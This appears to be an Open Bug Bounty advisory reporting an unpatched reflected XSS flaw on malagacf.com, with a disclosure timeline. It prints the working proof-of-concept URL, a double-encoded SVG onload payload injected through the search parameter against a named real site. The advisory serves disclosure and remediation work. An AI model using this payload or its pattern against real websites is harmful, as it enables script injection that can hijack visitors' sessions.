malagacf.com XSS vulnerability

2017-10-08T07:32:00
ID OBB:328012
Type openbugbounty
Reporter Muhd_Uwais_
Modified 2018-01-06T08:38:00

Description

Vulnerable URL:
https://www.malagacf.com/en/search?buscar=1%2522%2527--%253E%253CSvg%2520OnLoad%253Dconfirm%2528%2527OPENBUGBOUNTY%2527%2529%253E
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 06.01.2018
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 300555
VIP website status:| No

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 8 October, 2017 07:32 GMT
Generic security notifications sent to website owner| 8 October, 2017 07:35 GMT
Notification sent to subscribers (without technical details)| 8 October, 2017 10:17 GMT
Vulnerability details disclosed by researcher| 6 January, 2018 08:38 GMT